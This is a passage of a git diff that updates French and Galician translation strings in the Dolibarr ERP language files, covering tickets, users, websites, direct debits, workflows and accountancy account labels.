un prélèvement automatique avec Stripe +STRIPE_SEPA_DIRECT_DEBIT=Activer les paiements par débit direct avec Stripe + diff --git a/htdocs/langs/fr_FR/ticket.lang b/htdocs/langs/fr_FR/ticket.lang index be78d74f2a8..6e09597b26e 100644 --- a/htdocs/langs/fr_FR/ticket.lang +++ b/htdocs/langs/fr_FR/ticket.lang @@ -19,14 +19,16 @@ # Module56000Name=Gestionnaire de tickets -Module56000Desc=Gestionnaire de tickets d'assistance ou de gestion de demandes internes/clients/fournisseurs +Module56000Desc=Gestionnaire de tickets ou de gestion de demandes internes/clients/fournisseurs Permission56001=Voir tickets Permission56002=Modifier des tickets Permission56003=Supprimer tickets Permission56004=Gérer les tickets Permission56005=Voir les tickets de tous les tiers (non effectif pour les utilisateurs externes, toujours limité au tiers dont ils dépendent) +Permission56006=Exporter les tickets +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Catégorisation du ticket TicketDictSeverity=Ticket - Sévérités @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Contributeur externe OriginEmail=Email demandeur Notify_TICKET_SENTBYMAIL=Envoi d'un message du ticket par e-mail +ExportDataset_ticket_1=Tickets + # Status Read=Lu Assigned=Assigné @@ -182,7 +186,7 @@ CreatedBy=Créé par NewTicket=Nouveau ticket SubjectAnswerToTicket=Réponse ticket TicketTypeRequest=Type de demande -TicketCategory=Catégorisation du ticket +TicketCategory=Ticket group SeeTicket=Voir le ticket TicketMarkedAsRead=Le ticket a été marqué comme lu TicketReadOn=Lu @@ -194,8 +198,7 @@ TicketAssigned=Le ticket est à présent assigné TicketChangeType=Changer le type TicketChangeCategory=Changer le code analytique TicketChangeSeverity=Changer la sévérité -TicketAddMessage=Ajouter un message -AddMessage=Ajouter un message +TicketAddMessage=Ajouter un message privé MessageSuccessfullyAdded=Ticket créé TicketMessageSuccessfullyAdded=Message ajouté avec succès TicketMessagesList=Liste des messages @@ -242,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Un nouveau message a été posté sur TicketAssignedToYou=Ticket attribué TicketAssignedEmailBody=Vous avez été assigné au ticket #%s par %s MarkMessageAsPrivate=Marquer message comme privé +TicketMessageSendEmailHelp=Un email sera envoyé à tous les contacts assignés (contacts internes, mais aussi contacts externes sauf si l'option "%s" est cochée) TicketMessagePrivateHelp=Ce message ne s'affichera pas pour les utilisateurs externes TicketEmailOriginIssuer=Émetteur à l'origine des tickets InitialMessage=Message initial diff --git a/htdocs/langs/fr_FR/users.lang b/htdocs/langs/fr_FR/users.lang index 4840c05740a..964f77e516d 100644 --- a/htdocs/langs/fr_FR/users.lang +++ b/htdocs/langs/fr_FR/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Supprimer du groupe PasswordChangedAndSentTo=Mot de passe changé et envoyé à %s. PasswordChangeRequest=Demande de changement de mot de passe pour %s PasswordChangeRequestSent=Demande de changement de mot de passe pour %s envoyée à %s. -IfLoginExistPasswordRequestSent=Si cet identifiant est un compte valide, un e-mail de ré-initialisation du mot de passe a été envoyé. +IfLoginExistPasswordRequestSent=Si cette connexion est un compte valide (avec un e-mail valide), un e-mail de réinitialisation du mot de passe a été envoyé. IfEmailExistPasswordRequestSent=Si cet email est un compte valide, un e-mail de ré-initialisation du mot de passe a été envoyé. ConfirmPasswordReset=Confirmer réinitialisation du mot de passe MenuUsersAndGroups=Utilisateurs & Groupes @@ -66,7 +66,8 @@ LinkedToDolibarrUser=Lien vers l'utilisateur LinkedToDolibarrThirdParty=Lien vers le tiers CreateDolibarrLogin=Créer un compte utilisateur CreateDolibarrThirdParty=Créer un tiers -LoginAccountDisableInDolibarr=Le compte est désactivé sur Dolibarr. +LoginAccountDisableInDolibarr=Compte désactivé dans Dolibarr +PASSWORDInDolibarr=Mot de passe modifié dans Dolibarr UsePersonalValue=Utiliser valeur personnalisée ExportDataset_user_1=Utilisateurs et attributs DomainUser=Utilisateur du domaine %s @@ -127,3 +128,7 @@ DateLastLogin=Date de la dernière connexion DatePreviousLogin=Date de connexion précédente IPLastLogin=IP dernière connexion IPPreviousLogin=Connexion précédente IP +ShowAllPerms=Afficher toutes les lignes d'autorisation +HideAllPerms=Masquer toutes les lignes d'autorisation +UserPublicPageDesc=Vous pouvez activer une carte virtuelle pour cet utilisateur. Une URL avec le profil utilisateur et un code barre sera disponible pour permettre à quiconque muni d'un smartphone de le scanner et d'ajouter le contact à son carnet d'adresse. +EnablePublicVirtualCard=Activer la fiche utilisateur virtuelle publique diff --git a/htdocs/langs/fr_FR/website.lang b/htdocs/langs/fr_FR/website.lang index c46c3b33e37..8732a9a49a9 100644 --- a/htdocs/langs/fr_FR/website.lang +++ b/htdocs/langs/fr_FR/website.lang @@ -140,7 +140,7 @@ PagesRegenerated=%s page(s)/conteneur(s) régénéré(s) RegenerateWebsiteContent=Régénérer les fichiers de cache du site Web AllowedInFrames=Autorisé dans les Frames DefineListOfAltLanguagesInWebsiteProperties=Définir la liste des langues disponibles dans les propriétés du site web. -GenerateSitemaps=Générer un fichier de plan du site +GenerateSitemaps=Générer le fichier sitemap.xml du site Web ConfirmGenerateSitemaps=Si vous confirmez, vous effacerez le fichier de plan du site existant... ConfirmSitemapsCreation=Confirmer la génération du plan du site SitemapGenerated=Le plan du site %sa été généré @@ -150,4 +150,10 @@ ErrorFaviconSize=Le Favicon doit être de taille 16x16, 32x32 ou 64x64 FaviconTooltip=Téléverser une image qui doit être au format png (16x16, 32x32 ou 64x64) NextContainer=Page/conteneur suivant(e) PreviousContainer=Page/conteneur précédent(e) -WebsiteMustBeDisabled=Le site Web doit avoir le statut "désactivé" +WebsiteMustBeDisabled=Le site web doit avoir le statut "%s" +WebpageMustBeDisabled=La page Web doit avoir le statut "%s" +SetWebsiteOnlineBefore=Lorsque le site Web est hors ligne, toutes les pages sont hors ligne. Changez d'abord le statut du site Web. +Booking=Réservation +Reservation=Réservation +PagesViewedPreviousMonth=Pages vues (mois précédent) +PagesViewedTotal=Pages vues (total) diff --git a/htdocs/langs/fr_FR/withdrawals.lang b/htdocs/langs/fr_FR/withdrawals.lang index 8b6e6aa317e..6620cea6f07 100644 --- a/htdocs/langs/fr_FR/withdrawals.lang +++ b/htdocs/langs/fr_FR/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Facture en attente de virement AmountToWithdraw=Somme à prélever AmountToTransfer=Montant du virement NoInvoiceToWithdraw=Aucune facture ouverte pour '%s' n'est en attente. Allez sur l'onglet '%s' sur la facture pour faire une demande. -NoSupplierInvoiceToWithdraw=Aucune facture fournisseur avec des demandes de virement ouvertes n'est en attente. Allez sur l'onglet '%s' sur la fiche facture pour faire une demande. +NoSupplierInvoiceToWithdraw=Aucune facture fournisseur avec '%s' ouvert n'est en attente. Allez sur l'onglet '%s' sur la fiche de facturation pour faire une demande. ResponsibleUser=Utilisateur responsable WithdrawalsSetup=Configuration des prélèvements CreditTransferSetup=Configuration des virements bancaires @@ -101,7 +101,7 @@ CreditDate=Crédité le WithdrawalFileNotCapable=Impossible de générer le fichier de reçu des prélèvement pour votre pays %s (Votre pays n'est pas supporté) ShowWithdraw=Afficher ordre de prélèvement IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Toutefois, si la facture a au moins une demande de prélèvement non traité, elle ne sera pas classée payée afin de permettre le prélèvement d'abord. -DoStandingOrdersBeforePayments=Cet onglet vous permet de demander un ordre de prélèvement automatique. Une fois cela fait, vous pouvez vous rendre dans le menu "Banque->Paiement par prélèvement" pour générer et gérer un fichier d'ordre de prélèvement. +DoStandingOrdersBeforePayments=Cet onglet vous permet de demander un ordre de prélèvement automatique. Une fois fait, vous pouvez vous rendre dans le menu "Banque->Paiement par prélèvement" pour générer et gérer un fichier d'ordre de prélèvement. DoStandingOrdersBeforePayments2=Vous pouvez également envoyer une demande directement à un processeur de paiement SEPA comme Stripe, ... DoStandingOrdersBeforePayments3=Lors de la clôture d'un ordre de prélèvement, le règlement des factures sera automatiquement enregistré, et les factures clôturées si le reste à payer est nul. DoCreditTransferBeforePayments=Cet onglet vous permet de demander un ordre de virement. Une fois cela fait, allez dans le menu "Banque->Paiement par virement" pour générer et gérer un fichier d'ordre de virement. diff --git a/htdocs/langs/fr_FR/workflow.lang b/htdocs/langs/fr_FR/workflow.lang index 372a83d73b9..c1d12c6751a 100644 --- a/htdocs/langs/fr_FR/workflow.lang +++ b/htdocs/langs/fr_FR/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Classer la ou les com descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classer le bon de commande source liée comme reçu lorsqu'une réception est validée (et si la quantité reçue par toutes les réceptions est la même que dans le bon de commande à mettre à jour) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classer le bon de commande source lié comme reçu lorsqu'une réception est clôturée (et si la quantité reçue par toutes les réceptions est la même que dans le bon de commande à mettre à jour) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Classer les réceptions en "facturées" lorsqu'une commande fournisseur liée est validée +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classer les réceptions en "facturées" lorsqu'une facture d'achat liée est validée (et si le montant de la facture est égal au montant total des réceptions liées) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=A la création d'un ticket, les contacts liés à au tiers sont liés au ticket. descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Les contacts liés au tiers du ticket sont utilisés pour le ticket @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Fermer toutes les interventions liées au AutomaticCreation=Création automatique AutomaticClassification=Classification automatique # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classer l'expédition source liée comme fermée lorsque la facture client est validée +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classer l'expédition source liée comme fermée lorsque la facture client est validée (et si le montant de la facture est le même que le montant total des expéditions liées) AutomaticClosing=Fermeture automatique AutomaticLinking=Liaison automatique diff --git a/htdocs/langs/fr_GA/admin.lang b/htdocs/langs/fr_GA/admin.lang index 10a19479a6e..0054bf2e414 100644 --- a/htdocs/langs/fr_GA/admin.lang +++ b/htdocs/langs/fr_GA/admin.lang @@ -2,6 +2,5 @@ Module20Name=Devis Module30Name=Factures OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/fr_GA/install.lang b/htdocs/langs/fr_GA/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/fr_GA/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/fr_GA/propal.lang b/htdocs/langs/fr_GA/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/fr_GA/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/fr_GA/stripe.lang b/htdocs/langs/fr_GA/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/fr_GA/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/gl_ES/accountancy.lang b/htdocs/langs/gl_ES/accountancy.lang index d6e220fea5b..eb48519c735 100644 --- a/htdocs/langs/gl_ES/accountancy.lang +++ b/htdocs/langs/gl_ES/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Seleccione o tipo de retorno de carro ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique o prefixo do nome de ficheiro ThisService=Este servizo ThisProduct=Este produto -DefaultForService=Predeterminado para o servizo -DefaultForProduct=Predeterminado para o produto +DefaultForService=Predeterminado para os servizos +DefaultForProduct=Predeterminado para produtos ProductForThisThirdparty=Produto para este terceiro ServiceForThisThirdparty=Servizo para este terceiro CantSuggest=Non pode suxerirse @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Conta contable principal para provedores non d MainAccountForUsersNotDefined=Conta contable principal para usuarios non definida na configuración MainAccountForVatPaymentNotDefined=Conta contable principal para pagos de IVE non definida na configuración MainAccountForSubscriptionPaymentNotDefined=Conta contable principal para o pago de afiliacións non definida na configuración +UserAccountNotDefined=Conta de contabilidade para o usuario non definida na configuración AccountancyArea=Área contabilidade AccountancyAreaDescIntro=O uso do módulo de contabilidade realízase en varios pasos: @@ -100,6 +101,7 @@ ShowAccountingAccount=Amosar contabilidade ShowAccountingJournal=Amosar diario contable ShowAccountingAccountInLedger=Amosar a conta contable no libro maior ShowAccountingAccountInJournals=Amosar a conta contable nos diarios +DataUsedToSuggestAccount=Datos utilizados para suxerir conta AccountAccountingSuggest=Conta contable suxerida MenuDefaultAccounts=Contas contables por defecto MenuBankAccounts=Contas Bancarias @@ -125,6 +127,7 @@ WriteBookKeeping=Rexistrar movementos en contabilidade Bookkeeping=Libro Maior BookkeepingSubAccount=Librp maior auxiliar AccountBalance=Saldo da conta +AccountBalanceSubAccount=Saldo de subcontas ObjectsRef=Referencia de obxecto orixe CAHTF=Total compras a provedor antes de impostos TotalExpenseReport=Total informe de gastos @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Activar a listaxe combinada para a conta subsidiaria ( ACCOUNTING_DATE_START_BINDING=Define unha data para comezar a ligar e transferir na contabilidade. Por debaixo desta data, as transaccións non se transferirán á contabilidade. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Na transferencia de contabilidade, cal é o período seleccionado por defecto -ACCOUNTING_SELL_JOURNAL=Diario de vendas -ACCOUNTING_PURCHASE_JOURNAL=Diario de compras -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diario de operacións diversas +ACCOUNTING_SELL_JOURNAL=Diario de vendas - vendas e devolucións +ACCOUNTING_PURCHASE_JOURNAL=Diario de compras: compra e devolucións +ACCOUNTING_BANK_JOURNAL=Diario de caixa - recibos e desembolsos ACCOUNTING_EXPENSEREPORT_JOURNAL=Informe de gastos diario -ACCOUNTING_SOCIAL_JOURNAL=Diario social +ACCOUNTING_MISCELLANEOUS_JOURNAL=Xornal xeral ACCOUNTING_HAS_NEW_JOURNAL=Ten un novo diario +ACCOUNTING_INVENTORY_JOURNAL=Diario de inventario +ACCOUNTING_SOCIAL_JOURNAL=Diario social ACCOUNTING_RESULT_PROFIT=Conta contable de resultado (Beneficio) ACCOUNTING_RESULT_LOSS=Conta contable de resultado (Perdas) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Diario de peche -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Conta contable de transferencia bancaria +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Conta (do Plan Contable) que se utilizará como conta para transaccións de transferencias bancarias TransitionalAccount=Conta de transferencia bancaria de transición -ACCOUNTING_ACCOUNT_SUSPENSE=Conta contable de operacións pendentes de asignar -DONATION_ACCOUNTINGACCOUNT=Conta contable de rexistro de doacións/subvencións -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Conta contable de rexistro subscricións +ACCOUNTING_ACCOUNT_SUSPENSE=Conta (do Plan Contable) que se utilizará como conta para os fondos non asignados recibidos ou pagados, é dicir, fondos "agardando" +DONATION_ACCOUNTINGACCOUNT=Conta (do Plan Contable) que se utilizará para rexistrar doazóns (módulo de Doazóns) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Conta (do Plan Contable) que se utilizará para rexistrar subscricións de asociados (módulo de adhesión - se asociado rexistrado sen factura) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Conta contable por defecto para rexistrar os ingresos realizados polo cliente +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Conta (do Plan Contable) que se utilizará como conta predeterminada para rexistrar o depósito do cliente UseAuxiliaryAccountOnCustomerDeposit=Almacenar a conta do cliente como unha conta individual para as liñas de anicipo no Libro Maior subsidiario (se está desactivada, a conta individual para as liñas de anticipo permanecerá baleira) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Conta contable por defecto para rexistrar o depósito do provedor +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Conta (do Plan Contable) que se utilizará como predeterminada UseAuxiliaryAccountOnSupplierDeposit=Almacenar a conta do provedor como unha conta individual no libro maior subsidiario para as liñas de anticipo (se está desactivada, a conta individual para as liñas de anticipo permanecerá baleira) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Conta contable por defecto para rexistrar a garantía establecida para o cliente -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Conta contable predeterminada para os produtos comprados (usada se non está definida na folla de produtos) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Conta contable predeterminada para os produtos comprados na CEE (usada se non está definida na folla de produto) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Conta contable predeterminada para os produtos comprados e importados fóra da CEE (usada se non está definida na folla de produto) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Conta contable predeterminada para os produtos vendidos (usada se non está definida na folla de produtos) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Conta contable predeterminada para os produtos vendidos na CEE (usada se non está definida na folla de produto) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Conta contable predeterminada para os produtos vendidos e exportados fóra da CEE (usada se non está definida na folla de produto) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os produtos adquiridos no mesmo país (utilizada se non está definida na ficha do produto) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os produtos comprados na CEE a outro país da CEE (utilizada se non está definida na ficha do produto) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os produtos comprados e importados de calquera outro país estranxeiro (utilizado se non está definido na ficha do produto) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os produtos vendidos (utilizada se non está definida na ficha do produto) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os produtos vendidos desde a CEE a outro país da CEE (utilizada se non está definida na ficha do produto) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os produtos vendidos e exportados a calquera outro país estranxeiro (utilizado se non está definido na ficha do produto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Conta contable predeterminada para os servizos comprados (usada se non está definida na folla de servizos) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Conta contable predeterminada para os servizos comprados na CEE (usada se non está definida na folla de servizos) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Conta contable predeterminada para os servizos comprados e importados fóra da CEE (úsase se non está definida na folla de servizos) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Conta contable predeterminada para os servizos vendidos (usada se non está definida na folla de servizos) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Conta contable predeterminada para os servizos vendidos en EU (usada se non está definida na folla de servizos) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Conta contable predeterminada para os servizos vendidos e exportados fora da EU (usada se non está definida na folla de servizos) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os servizos adquiridos no mesmo país (utilizada se non está definida na folla de servizo) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os servizos adquiridos de CEE a outro país da CEE (utilizado se non está definido na folla de servizo) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os servizos adquiridos e importados doutro país estranxeiro (utilizado se non está definido na folla de servizo) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os servizos prestados (utilizada se non está definida na folla de servizos) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os servizos prestados desde a CEE a outro país da CEE (utilizada se non está definida na folla de servizo) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Conta (do Plan Contable) que se utilizará como conta predeterminada para os servizos prestados e exportados a calquera outro país estranxeiro (utilizado se non está definido na folla de servizo) Doctype=Tipo de documento Docdate=Data @@ -214,7 +220,8 @@ Codejournal=Diario JournalLabel=Etiqueta diario NumPiece=Apunte TransactionNumShort=Núm. transacción -AccountingCategory=Grupo persoalizado +AccountingCategory=Grupo de contas personalizado +AccountingCategories=Grupos de contas personalizados GroupByAccountAccounting=Agrupar por conta contable GroupBySubAccountAccounting=Agrupar por subconta contable AccountingAccountGroupsDesc=Pode definir aquí algúns grupos de contas contables. Serán usadas para informes de contabilidade persoalizados. @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Isto eliminará todas as liñas da contabilidade do ano/mes e/o ConfirmDeleteMvtPartial=Isto eliminará a transacción da contabilidade (eliminaranse todas as liñas relacionadas coa mesma transacción) FinanceJournal=Diario financiero ExpenseReportsJournal=Diario informe de gastos +InventoryJournal=Diario de inventario DescFinanceJournal=O diario financiero inclúe todos os tipos de pagos por conta bancaria DescJournalOnlyBindedVisible=Ista é una vista do rexistro ligada a unha conta contable e que pode ser rexistrada nos diarios e Libro Maior. VATAccountNotDefined=Conta contable para IVE non definida @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Amosar subtotal por nivel Pcgtype=Grupo de conta PcgtypeDesc=Grupo e subgrupo de conta utilízanse como criterios predefinidos de "filtro" e "agrupación" para algúns informes de contabilidade. Por exemplo, "INGRESOS" ou "GASTOS" usanse como grupos para contas contables de produtos para construir o informe de gastos/ingresos. +AccountingCategoriesDesc=O grupo de contas personalizado pódese usar para agrupar as contas de contabilidade nun só nome para facilitar o uso de filtros ou a creación de informes personalizados. Reconcilable=Reconciliable TotalVente=Total facturación antes de impostos TotalMarge=Total marxe vendas -DescVentilCustomer=Consulte aquí a lista de liñas de facturas a clientes ligadas (ou non) a unha conta contable de produto -DescVentilMore=Na maioría dos casos, se utiliza produtos ou servizos predefinidos e establece a conta contable na ficha do produto/servizo, a aplicación será capaz de facer toda a contabilización entre as liñas da factura e a conta contable do seu plan xeral contable, cun clic no botón "%s", Se non estableceu a conta contable na ficha do produto/servizo ou se aínda ten algunhas liñas non contabilizadas a alguna conta, terá que facer unha contabilización manual dende o menú "%s". -DescVentilDoneCustomer=Consulte aquí as liñas de facturas a clientes e as contas contables dos seus produtos -DescVentilTodoCustomer=Contabilizar liñas de factura aínda non contabilizadas cunha conta contable de produto -ChangeAccount=Cambie a conta do produto/servizo para as liñas seleccionadas á conta: +DescVentilCustomer=Consulte aquí a listaxe de liñas de factura de clientes ligadas (ou non) a unha conta de produto do plan contable +DescVentilMore=Na maioría dos casos, se usa produtos ou servizos predefinidos e establece a conta (a partir do plan contable) na tarxeta do produto/servizo, a aplicación poderá facer todas as ligazóns entre as liñas de factura e a conta contable do seu plan contable, só cun clic no botón "%s" . Se a conta non se estableceu nas tarxetas de produtos/servizos ou aínda ten algunhas liñas non ligadas a unha conta, terá que facer unha ligazón manual desde o menú " %s ". +DescVentilDoneCustomer=Consulte aquí a listaxe das liñas de facturas dos clientes e a súa conta de produto do plan contable +DescVentilTodoCustomer=Ligar as liñas de factura que non están ligadas a unha conta de produto do plan contable +ChangeAccount=Cambie a conta de produto/servizo (do plan contable) para as liñas seleccionadas coa seguinte conta: Vide=- -DescVentilSupplier=Consulte aquí a listaxe de liñas de facturas de provedores ligadas (ou non) a unha conta contable de produto +DescVentilSupplier=Consulte aquí a listaxe de liñas de facturas de provedores ligadas ou aínda non ligadas a unha conta de produto desde o plan contable (só son visibles os rexistros non transferidos na contabilidade) DescVentilDoneSupplier=Consulte aquí a listaxe de facturas de provedores e as súas contas contables DescVentilTodoExpenseReport=Contabilizar liñas de informes de gastos aínda non contabilizadas cunha conta contable de gastos DescVentilExpenseReport=Consulte aquí a listaxe de liñas de informes de gastos (ou non) a unha conta contable de gastos @@ -286,20 +295,21 @@ DescClosure=Consulte aquí o número de movementos por mes aínda non validados OverviewOfMovementsNotValidated=Visión xeral dos movementos non validados e bloqueados AllMovementsWereRecordedAsValidated=Todos os movementos rexistráronse como validados e bloqueados NotAllMovementsCouldBeRecordedAsValidated=Non se puideron rexistrar todos os movementos como validados e bloqueados -ValidateMovements=Validar e bloquear o rexistro... +ValidateMovements=Validar e bloquear movementos... DescValidateMovements=Prohíbese calquera modificación ou eliminación de rexistros. Todas as entradas para un exercicio deben validarse doutro xeito ou non será posible pechalo ValidateHistory=Contabilizar automáticamente AutomaticBindingDone=Ligazóns automáticas finalizadas (%s) -A ligazón automática non é posible para algún rexistro (%s) +DoManualBindingForFailedRecord=Ten que facer unha ligazón manual para a(s) fila(s) %s non ligadas automaticamente. -ErrorAccountancyCodeIsAlreadyUse=Erro, non pode eliminar esta conta xa que está a ser utilizada +ErrorAccountancyCodeIsAlreadyUse=Produciuse un erro, non pode eliminar nin desactivar esta conta do plan contable porque está en uso MvtNotCorrectlyBalanced=Asento con balance contable incorrecto. Débito = %s e crédito = %s Balancing=Saldo FicheVentilation=Ficha contable GeneralLedgerIsWritten=Transaccións escritas no Libro Maior GeneralLedgerSomeRecordWasNotRecorded=Algunhas das operaciones non poden contabilizarse. Se non hai outra mensaxe de erro, é probable que xa estén contabilizadas. NoNewRecordSaved=Non hai máis rexistro para transferir -ListOfProductsWithoutAccountingAccount=Listaxe de produtos sen contas contables +ListOfProductsWithoutAccountingAccount=Listaxe de produtos non ligados a ningunha conta do plan contable ChangeBinding=Cambiar a unión Accounted=Contabilizada no Libro Maior NotYetAccounted=Aínda non transferido á contabilidade @@ -325,6 +335,7 @@ AccountingJournalType4=Banco AccountingJournalType5=Informes de gastos AccountingJournalType8=Inventario AccountingJournalType9=Haber +GenerationOfAccountingEntries=Xeración de asentos contables ErrorAccountingJournalIsAlreadyUse=Este diario xa está a ser utilizado AccountingAccountForSalesTaxAreDefinedInto=Nota: A conta contable do IVE nas vendas defínese no menú %s - %s NumberOfAccountancyEntries=Número de entradas @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Número de movementos ACCOUNTING_DISABLE_BINDING_ON_SALES=Desactivar a ligazón e transferencia na contabilidade das vendas (as facturas do cliente non se terán en conta na contabilidade) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Desactivar a ligazón e transferencia na contabilidade das compras (as facturas do provedor non se terán en conta na contabilidade) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Desactivar a ligazón e transferencia na contabilidade dos informes de gastos (os informes de gastos non se terán en conta na contabilidade) +ACCOUNTING_ENABLE_LETTERING=Activa a función de letras na contabilidade +ACCOUNTING_ENABLE_AUTOLETTERING=Activa a marcación automática ao transferir á contabilidade ## Export +NotExportLettering=Non exporte as letras ao xerar o ficheiro NotifiedExportDate=Marcar as liñas exportadas como Exportadas (para modificar unha liña, terá que eliminar toda a transacción e transferila de novo á contabilidade) NotifiedValidationDate=Validar e bloquear as entradas exportadas (o mesmo efecto que a función "%s", a modificación e eliminación das liñas DEFINITIVAMENTE non será posible) +NotifiedExportFull=Exportar documentos? DateValidationAndLock=Data validación e bloqueo ConfirmExportFile=Confirmación da xeración do ficheiro de exportación contable? ExportDraftJournal=Exportar libro borrador @@ -392,7 +407,7 @@ SaleLocal=Venda local SaleExport=Venda de exportación SaleEEC=Venda na CEE SaleEECWithVAT=Vendas na CEE con IVE non nulo, polo que supoñemos que isto non é unha venda intracomunitaria e a conta suxerida é a conta estandar de produto. -SaleEECWithoutVATNumber=Venda na CEE sen IVE pero non se define o número de identificación do IVE de terceiros. Respondemos á conta do produto para as vendas estándar. Pode corrixir o ID de IVE de terceiros ou a conta do produto se é preciso. +SaleEECWithoutVATNumber=Venda na CEE sen IVE pero non se define o número de identificación do IVE do terceiro. Voltamos á conta das vendas estándar. Pode corrixir o número de identificación de 